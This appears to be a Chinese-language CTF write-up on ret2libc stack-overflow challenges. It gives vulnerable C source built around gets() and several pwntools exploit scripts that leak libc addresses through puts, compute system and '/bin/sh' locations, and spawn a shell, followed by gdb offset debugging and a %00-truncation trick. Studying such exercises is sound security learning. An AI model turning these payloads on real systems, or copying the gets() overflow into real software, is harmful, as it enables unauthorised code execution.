#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("Something surprise here, but I don't think it will work.\n");
printf("What do you think ?");
gets(buf1);
return 0;
}
#!/usr/bin/env python
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_addr = elf.plt["system"]
gets_addr = elf.plt["gets"]
buf2_addr = elf.symbols["buf2"]
print(hex(system_addr))
print(hex(gets_addr))
print(hex(buf2_addr))
payload = "A"*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
sh.sendline(payload)
sh.sendline("/bin/sh\x00")
sh.interactive()
#!/usr/bin/env python
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_addr = elf.plt["system"]
gets_addr = elf.plt["gets"]
buf2_addr = elf.symbols["buf2"]
pop_ebx_addr = 0x0804843d
print(hex(system_addr))
print(hex(gets_addr))
print(hex(buf2_addr))
payload = "A"*112+p32(gets_addr)+p32(pop_ebx_addr)+p32(buf2_addr)+p32(system_addr)+"BBBB"+p32(buf2_addr)
sh.sendline(payload)
sh.sendline("sh\x00")
sh.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
puts("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("No surprise anymore, system disappeard QQ.\n");
printf("Can you find it !?");
gets(buf1);
return 0;
}
第一步,先获取__libc_start_main的真实地址
#!/usr/bin/env python
from pwn import *
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_plt=elf.plt['puts']
libc_start_main_got=elf.got['__libc_start_main']
#print(hex(puts_plt))
#print(hex(libc_start_main_got))
payload = "A"*112+p32(puts_plt)+"BBBB"+p32(libc_start_main_got)
sh.sendlineafter('!?', payload)
libc_start_main_addr=u32(sh.recv(4))
print(hex(libc_start_main_addr))
#!/usr/bin/env python
from pwn import *
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#print(hex(puts_plt))
#print(hex(libc_start_main_got))
payload = "A"*112+p32(puts_plt)+"BBBB"+p32(puts_got)
sh.sendlineafter('!?', payload)
libc_start_main_addr=u32(sh.recv(4))
print(hex(libc_start_main_addr))
#!/usr/bin/env python
from pwn import *
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_addr = 0xf7e50460
libc_startmain_addr = 0xf7e01e30
#libc6-i386_2.27-3ubuntu1.4_amd64
libc_startmain = 0x018e30
libc_puts = 0x67460
libc_system = 0x03ce10
libc_binsh = 0x17b88f
libc_base = libc_startmain_addr - libc_startmain
libc_base2 = puts_addr - libc_puts
print(libc_base)
print(libc_base2)
system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh
payload = "A"*112+p32(system_addr)+"BBBB"+p32(binsh_addr)
sh.sendlineafter('!?', payload)
sh.interactive()
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
main = elf.symbols['main']
payload1 = "A"*112+p32(puts_plt)+p32(main)+p32(got_puts)
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))
print('puts_addr: '+hex(puts_addr))
#libc6-i386_2.27-3ubuntu1.4_amd64
libc_startmain = 0x018e30
libc_puts = 0x67460
libc_system = 0x03ce10
libc_binsh = 0x17b88f
libc_base = puts_addr - libc_puts
system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh
payload2 = "A"*104+p32(system_addr)+"BBBB"+p32(binsh_addr)
sh.sendlineafter('!?', payload2)
sh.interactive()
此处唯一的疑惑点就是为什么第二次溢出只需要填充104个字节而不是112?这里需要gdb调试,比较麻烦,最后再讲。
除了我们手动在https://libc.blukat.me/上查询,还有一个本地的python库也可以帮我们完成查询,它叫LibcSearcher。
https://github.com/lieanu/LibcSearcher
安装后就可以参考CTF的标准答案进行溢出了,由于单个地址搜索会出现两个libc.so,所以中途要选择一下。
https://github.com/ctf-wiki/ctf-challenges/blob/e3096c90f0e240e19f905ac5670b0984fb1ff29e/pwn/stackoverflow/ret2libc/ret2libc3/exploit.py
我们回过头来用kali,发现kali不管是网站查询libc还是用LibcSearcher都无法帮助我们完成本地溢出,因此我们必须采取第三种方法,就是直接在本地的libc.so上找出puts/system/binsh等地址。这也是为什么CTF会提供一个libc.so的原因,这个libc.so就是远程溢出端口上使用的so,方便你直接研究它来确定地址,而不是非得用puts来泄露。
首先用ldd来确定kali上用的是哪个so,然后将其复制出来。
ldd ret2libc3
ls -alt /lib/i386-linux-gnu/libc.so.6
cp /lib/i386-linux-gnu/libc-2.33.so ./
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
got_libc_startmain = elf.got['__libc_start_main']
main = elf.symbols['main']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))
print('puts_addr: '+hex(puts_addr))
#kali
libc_puts = libc.sym['puts']
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
libc_base = puts_addr - libc_puts
system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh
payload3 = flat( [b'A'*104, system_addr, 'BBBB', binsh_addr] )
sh.sendlineafter('!?', payload3)
sh.interactive()
最后再来解决104的问题,使用gdb来看看到底发生了什么。
还是像ret2stack一样,手动python,在gdb和python两者之间切换来调试。
python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./ret2libc3")
gdb
b main(可能要输两次)
c
n
n
n
n(到交互的地方停下来)
python
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
got_libc_startmain = elf.got['__libc_start_main']
main = elf.symbols['main']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))
gdb
stack 50
p/d 0xfface87c-0xfface80c
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
#sh = gdb.debug("./ret2libc3")
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
got_libc_startmain = elf.got['__libc_start_main']
main = elf.symbols['_start']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))
print('puts_addr: '+hex(puts_addr))
#kali
libc_puts = libc.sym['puts']
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
libc_base = puts_addr - libc_puts
system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh
payload3 = flat( [b'A'*112, system_addr, 'BBBB', binsh_addr] )
sh.sendlineafter('!?', payload3)
sh.interactive()
脑筋急转弯题。
ida64反编译
但题目确是要求strlen(buf)<64,strlen(unescaped)>64,转义函数并不能延长字符串。
所以要利用strlen的一个特性,%00截断(web选手简直太熟悉了,旧版php,旧版java都有的一个漏洞)。
理论上这里B换成其他任意字符填充都行,但0和A不行,未知原因,可能和unescape()处理有关。